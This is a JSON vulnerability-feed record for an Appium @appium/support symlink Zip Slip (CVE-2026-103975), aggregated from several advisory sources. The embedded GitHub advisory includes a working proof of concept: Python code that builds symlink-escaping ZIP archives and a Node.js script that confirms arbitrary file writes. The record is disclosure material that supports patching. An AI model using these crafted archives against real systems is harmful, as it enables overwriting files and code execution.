{"id":"GHSA-qfxx-c367-67f8","revision":null,"records":[{"revision":"fcfde4992aa8400e8d33b3099d5149d6","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-103975","aliases":[],"title":"Appium: Symlink based Zip Slip in @appium/support ZIP extraction","description":"Appium is a cross-platform automation framework for all kinds of apps, built on top of the W3C WebDriver protocol. Prior to 7.2.6, @appium/support ZIP extraction accepts an archive entry that creates a symbolic link to a location outside the extraction directory and then accepts a later regular-file entry whose legitimate name resolves through that link. The lexical containment check examines entry names without validating the symlink target or the real destination, so an attacker-controlled archive can write files to arbitrary locations writable by the Appium process. This is distinct from the earlier parent-directory entry-name traversal fixed in 7.0.6 because the bypass uses no parent-directory or absolute entry name. Depending on the writable destination, the arbitrary file write can overwrite configuration, startup scripts, or executables and lead to code execution. This issue is fixed in version 7.2.6.","state":0,"publishedAt":"2026-10-14T18:10:26.398+00:00","modifiedAt":"2026-10-15T15:05:50.27+00:00","affected":[{"ecosystem":"Vendor product","name":"appium","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"appium\",\n                    \"product\": \"appium\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 7.2.6\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","score":6.5,"severity":"MEDIUM"}],"references":["https://github.com/appium/appium/security/advisories/GHSA-qfxx-c367-67f8","https://github.com/appium/appium/pull/22436","https://github.com/appium/appium/commit/d9eb36f413153e28b04b92d8ce4447da270371c0","https://github.com/appium/appium/releases/tag/@appium/support@7.2.6"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-103975","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-103975","identifiers":["CVE-2026-103975"]},"retained":false,"historicalAffected":[]},{"revision":"22120d2c09484115914f141ab9ef946b","observedAt":"2026-11-09T05:04:17.284+00:00","statement":{"source":"euvd","id":"EUVD-2026-101529","aliases":["CVE-2026-103975","GHSA-qfxx-c367-67f8"],"title":"Appium is a cross-platform automation framework for all kinds of apps, built on top of the W3C WebDriver protocol. Prior to 7.2.6, @appium/support ZIP extraction accepts an archive entry that creates a symbolic link to a location outside th…","description":"Appium is a cross-platform automation framework for all kinds of apps, built on top of the W3C WebDriver protocol. Prior to 7.2.6, @appium/support ZIP extraction accepts an archive entry that creates a symbolic link to a location outside the extraction directory and then accepts a later regular-file entry whose legitimate name resolves through that link. The lexical containment check examines entry names without validating the symlink target or the real destination, so an attacker-controlled archive can write files to arbitrary locations writable by the Appium process. This is distinct from the earlier parent-directory entry-name traversal fixed in 7.0.6 because the bypass uses no parent-directory or absolute entry name. Depending on the writable destination, the arbitrary file write can overwrite configuration, startup scripts, or executables and lead to code execution. This issue is fixed in version 7.2.6.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","score":6.5,"severity":null}],"references":["https://github.com/appium/appium/security/advisories/GHSA-qfxx-c367-67f8","https://github.com/appium/appium/pull/22436","https://github.com/appium/appium/commit/d9eb36f413153e28b04b92d8ce4447da270371c0","https://github.com/appium/appium/releases/tag/@appium/support@7.2.6"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-101529","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Oct 14, 2026, 6:10:26 PM","dateUpdated":"Oct 15, 2026, 3:05:50 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-101529","identifiers":["EUVD-2026-101529","CVE-2026-103975","GHSA-qfxx-c367-67f8"]},"retained":false,"historicalAffected":[]},{"revision":"a0fd932ad4dc4f128e13e8360d611aeb","observedAt":"2026-10-25T04:17:29.458+00:00","statement":{"source":"nvd","id":"CVE-2026-103975","aliases":[],"title":"Appium is a cross-platform automation framework for all kinds of apps, built on top of the W3C WebDriver protocol. Prior to 7.2.6, @appium/support ZIP extraction accepts an archive entry that creates a symbolic link to a location outside th…","description":"Appium is a cross-platform automation framework for all kinds of apps, built on top of the W3C WebDriver protocol. Prior to 7.2.6, @appium/support ZIP extraction accepts an archive entry that creates a symbolic link to a location outside the extraction directory and then accepts a later regular-file entry whose legitimate name resolves through that link. The lexical containment check examines entry names without validating the symlink target or the real destination, so an attacker-controlled archive can write files to arbitrary locations writable by the Appium process. This is distinct from the earlier parent-directory entry-name traversal fixed in 7.0.6 because the bypass uses no parent-directory or absolute entry name. Depending on the writable destination, the arbitrary file write can overwrite configuration, startup scripts, or executables and lead to code execution. This issue is fixed in version 7.2.6.","state":0,"publishedAt":"2026-10-14T18:17:21.397+00:00","modifiedAt":"2026-10-16T16:00:33.533+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","score":6.5,"severity":"MEDIUM"}],"references":["https://github.com/appium/appium/commit/d9eb36f413153e28b04b92d8ce4447da270371c0","https://github.com/appium/appium/pull/22436","https://github.com/appium/appium/releases/tag/@appium/support@7.2.6","https://github.com/appium/appium/security/advisories/GHSA-qfxx-c367-67f8"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-103975","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Awaiting Analysis","weaknesses":["CWE-59"],"productCriteria":[],"sourceDates":{"published":"2026-10-14T18:17:21.397","lastModified":"2026-10-16T16:00:33.533"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-103975","identifiers":["CVE-2026-103975"]},"retained":false,"historicalAffected":[]},{"revision":"5966368660f2495caf92f4b91923d321","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-qfxx-c367-67f8","aliases":["CVE-2026-103975"],"title":"Appium: Symlink based Zip Slip in @appium/support ZIP extraction","description":"### Summary\n\nCVE-2026-30973 [(GHSA-rfx7-4xw3-gh4m)](https://github.com/appium/appium/security/advisories/GHSA-rfx7-4xw3-gh4m) was a plain path traversal in the entry name. The containment check built an Error object without throwing it, so an entry literally named something like `../evil.txt` was written outside the destination. That issue was fixed in @appium/support 7.0.6 by actually rejecting out of bound entry names.\n\nThis finding is a different vector that the 7.0.6 fix does not cover. The archive entry names here are completely legitimate (for example `pwn` and `pwn/owned.txt`, no `..` anywhere), so every name based defense accepts them. The escape happens through a symbolic link. One entry is a symlink whose target points outside the extraction directory, and a later entry is a regular file whose name resolves through that symlink. The name based containment check never inspects the symlink target, and the extractor writes the symlink target verbatim, so the file lands outside the extraction root.\n\nThe two issues compared on the same patched version 7.2.5:\n\n| | CVE-2026-30973 | This finding |\n|---|---|---|\n| Vector | one entry whose name contains `..` | a symlink entry plus a file written through it |\n| Entry names | contain `..` (illegal) | legitimate, no `..` and not absolute |\n| What is missing | the `..` name chec\\k did not throw | name checks never resolve symlinks, and the symlink target is unchecked |\n| Entries needed | one | two |\n| Fixed in 7.0.6 | yes | no |\n| Status on 7.2.5 | blocked | still exploitable (proven below) |\n\n\n\n### Details\n\n## Root cause\n\nThe extractor applies only a lexical containment check on each entry's own name, then for a symlink entry it creates the link with the target taken straight from the archive:\n\n```js\n// @appium/support build/lib/zip.js (extractAllTo path), version 7.2.5\n97   if (!isSubPath(dest, dir)) {                 // lexical only, never resolves symlinks\n98       throw new Error(`Out of bound path \"${dest}\" found while processing file ${fileName}`);\n99   }\n...\n142  await fs.symlink(link, dest);                // link target comes verbatim from the archive\n```\n\n`isSubPath` compares normalized strings and does not call realpath, so for the file entry `pwn/owned.txt` the destination `dir/pwn/owned.txt` is lexically inside `dir` and the check passes, even though `dir/pwn` is a symlink created by the previous entry that points outside `dir`. The write then follows that symlink and escapes. The symlink target itself is never validated against the extraction root.\n\n### PoC\n\n<img width=\"1443\" height=\"411\" alt=\"image\" src=\"https://github.com/user-attachments/assets/95b257d6-bc1d-4407-b22b-557119fb376a\" />\n\n\n\nbuild_zips.py\n\n\n```python\n#!/usr/bin/env python3\n\nimport os, sys, zipfile, shutil\n\nwork = sys.argv[1] if len(sys.argv) > 1 else \"/tmp/zswork\"\npid = os.getpid()\nshutil.rmtree(work, ignore_errors=True)\nos.makedirs(work)\n\n# Test A: CVE-2026-30973 plain \"../\" path traversal in the entry name\nextractA = os.path.join(work, \"extractA\"); os.makedirs(extractA)\nescapeA_name = f\"escapeA_{pid}.txt\"            # would land in work/ (outside extractA)\nescapeA = os.path.join(work, escapeA_name)\nzipA = os.path.join(work, \"cve_vector.zip\")\nwith zipfile.ZipFile(zipA, \"w\") as z:\n    z.writestr(\"../\" + escapeA_name, \"CVE-2026-30973 plain traversal\\n\")\n\n# Test B: symlink entry whose target escapes, then a file through it \nextractB = os.path.join(work, \"extractB\"); os.makedirs(extractB)\nescapeB = os.path.join(work, f\"escapeB_{pid}\"); os.makedirs(escapeB)\nzipB = os.path.join(work, \"symlink_bypass.zip\")\nwith zipfile.ZipFile(zipB, \"w\") as z:\n    sl = zipfile.ZipInfo(\"pwn\")\n    sl.create_system = 3                       # unix, so external_attr carries the mode\n    sl.external_attr = (0o120777 & 0xFFFF) << 16   # S_IFLNK | 0777\n    z.writestr(sl, escapeB)                     # symlink target is the file body\n    fi = zipfile.ZipInfo(\"pwn/owned.txt\")\n    fi.create_system = 3\n    fi.external_attr = (0o100644 & 0xFFFF) << 16\n    z.writestr(fi, \"PWNED via symlink Zip Slip\\n\")\n\nprint(\"\\t\".join([work, extractA, escapeA, zipA, extractB, escapeB, zipB]))\n```\n\nzipslip_poc.js\n\n\n```javascript\n'use strict';\nconst fs = require('fs');\nconst path = require('path');\nconst support = require('@appium/support');\n\nconst [, , work, extractA, escapeA, zipA, extractB, escapeB, zipB] = process.argv;\n\n(async () => {\n  const ver = require('@appium/support/package.json').version;\n  console.log(`[*] @appium/support version: ${ver}`);\n  console.log(`[*] CVE-2026-30973 was fixed in 7.0.6, so on this newer version the plain ../ vector should be blocked.`);\n\n  // Test A: the CVE-2026-30973 vector\n  console.log('\\n=== Test A: CVE-2026-30973 plain \"../\" entry name ===');\n  let aBlocked = false;\n  try {\n    await support.zip.extractAllTo(zipA, extractA);\n  } catch (e) {\n    aBlocked = true;\n    console.log(`[+] REJECTED by extractor: ${String(e.message).split('\\n')[0]}`);\n  }\n  const aEscaped = fs.existsSync(escapeA);\n  console.log(`[=] ${aBlocked && !aEscaped ? 'BLOCKED, so CVE-2026-30973 is PATCHED in this version' : 'ESCAPED (not patched)'}`);\n\n  // Test B: this finding, the symlink bypass \n  console.log('\\n=== Test B: symlink entry + file written through it (this finding) ===');\n  try {\n    await support.zip.extractAllTo(zipB, extractB);\n  } catch (e) {\n    console.log(`[i] extractor message: ${String(e.message).split('\\n')[0]}`);\n  }\n  const planted = path.join(escapeB, 'owned.txt');\n  const bEscaped = fs.existsSync(planted);\n  if (bEscaped) {\n    console.log('[+] ARBITRARY FILE WRITE OUTSIDE THE EXTRACT ROOT VIA SYMLINK CONFIRMED');\n    console.log(`    wrote  : ${planted}`);\n    console.log(`    content: ${JSON.stringify(fs.readFileSync(planted, 'utf8'))}`);\n  } else {\n    console.log('[-] symlink vector did not escape');\n  }\n\n  console.log('\\n=== SUMMARY (same installed version) ===');\n  console.log(`A  CVE-2026-30973 plain ../ : ${aBlocked && !aEscaped ? 'BLOCKED (fix present)' : 'ESCAPED'}`);\n  console.log(`B  symlink bypass (this bug): ${bEscaped ? 'ESCAPED (still vulnerable)' : 'blocked'}`);\n  process.exit(aBlocked && !aEscaped && bEscaped ? 0 : 2);\n})().catch((e) => {\n  console.error('ERROR', e);\n  process.exit(3);\n});\nuse\n```\n\n\n### Impact\n\nAn attacker who controls an archive that Appium extracts can write files to arbitrary locations writable by the Appium process, since the write follows a symlink to any target the archive specifies. Depending on where Appium runs this can overwrite a configuration file, drop a script into a startup or profile location, or replace a binary on the PATH, which can escalate to code execution. On a continuous integration runner or a device farm host the reachable paths include anything writable by the service account.","state":0,"publishedAt":"2026-10-15T20:18:56+00:00","modifiedAt":"2026-10-15T20:30:05.4478842+00:00","affected":[{"ecosystem":"npm","name":"@appium/support","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"7.2.6"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/appium/appium/security/advisories/GHSA-qfxx-c367-67f8","https://nvd.nist.gov/vuln/detail/CVE-2026-103975","https://github.com/appium/appium/pull/22436","https://github.com/appium/appium/commit/d9eb36f413153e28b04b92d8ce4447da270371c0","https://github.com/appium/appium","https://github.com/appium/appium/releases/tag/@appium/support@7.2.6"],"sourceUrl":"https://github.com/advisories/GHSA-qfxx-c367-67f8","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-qfxx-c367-67f8","identifiers":["GHSA-qfxx-c367-67f8","CVE-2026-103975"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-09T10:04:34.0648037+00:00","complete":true,"records":1769,"lastAttemptAt":"2026-11-09T10:04:34.0648037+00:00","lastSuccessAt":"2026-11-09T10:04:34.2246806+00:00","error":null,"lastVerifiedAt":"2026-11-09T10:04:34.2246841+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-24e6fde7b744113daefb8f6135035fb8a5c69c9617c9c0d40574a0376532ffd3-959e97d06f32ad78d34e1b0ba6a6e5cd74265f5a3f17190fe2a4f93cc705e8ca","complete":true,"records":421341,"lastAttemptAt":"2026-11-09T10:02:25.7011931+00:00","lastSuccessAt":"2026-11-09T10:02:25.6766256+00:00","error":null,"lastVerifiedAt":"2026-11-09T10:02:25.7011931+00:00","snapshotPublishedAt":"2026-11-09T09:30:06+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-994943cd8cb046f49f56409fe0b1d8c6","complete":false,"records":13655,"lastAttemptAt":"2026-11-09T10:16:43.0170247+00:00","lastSuccessAt":"2026-11-09T10:16:43.013+00:00","error":"6 identifier lookups failed; latest failures include HTTP 403. Other identifiers were checked independently.","lastVerifiedAt":"2026-11-09T10:16:43.013+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13701,"expectedIdentifiers":13707,"failedIdentifiers":6},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-09T10:04:34.0648037+00:00","complete":true,"records":1096,"lastAttemptAt":"2026-11-09T10:04:34.0648037+00:00","lastSuccessAt":"2026-11-09T10:04:34.2253534+00:00","error":null,"lastVerifiedAt":"2026-11-09T10:04:34.2253535+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-4dc74a26d06148ffa8eb6751d602315d","complete":true,"records":13667,"lastAttemptAt":"2026-11-09T10:04:35.2758607+00:00","lastSuccessAt":"2026-11-09T10:04:35.272+00:00","error":null,"lastVerifiedAt":"2026-11-09T10:04:35.272+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13707,"expectedIdentifiers":13707,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-980593e6977a6d1b4fb1eed5a1ffe88a468736f89f0a06f710924ad59132c023","complete":true,"records":9914,"lastAttemptAt":"2026-11-09T10:04:28.5294921+00:00","lastSuccessAt":"2026-11-08T11:07:07.068788+00:00","error":null,"lastVerifiedAt":"2026-11-09T10:04:28.5294921+00:00","snapshotPublishedAt":"2026-11-08T11:02:46+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-fde804134ecdda0ddd5ff5c26ee1fff5a6fa659311f7ef2e51c6ad54964db0e2","complete":true,"records":1971,"lastAttemptAt":"2026-11-09T10:02:25.7473895+00:00","lastSuccessAt":"2026-11-06T19:03:17.0399903+00:00","error":null,"lastVerifiedAt":"2026-11-09T10:02:25.7473895+00:00","snapshotPublishedAt":"2026-11-06T18:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-747b24005f13ffe3f133ae77dfb12ae3145f2c7aed5cfebb91eb943ceb4daeb6","complete":true,"records":3060,"lastAttemptAt":"2026-11-09T10:04:34.0336984+00:00","lastSuccessAt":"2026-11-09T10:04:33.8957851+00:00","error":null,"lastVerifiedAt":"2026-11-09T10:04:34.0336984+00:00","snapshotPublishedAt":"2026-11-09T10:03:05+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-e6e6ac3eaece246ff08884368fe1dc99d4d393571e77c126c8f4d38d66697688","complete":true,"records":231297,"lastAttemptAt":"2026-11-09T10:04:28.3938244+00:00","lastSuccessAt":"2026-11-09T10:04:27.0059369+00:00","error":null,"lastVerifiedAt":"2026-11-09T10:04:28.3938244+00:00","snapshotPublishedAt":"2026-11-09T09:33:10+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}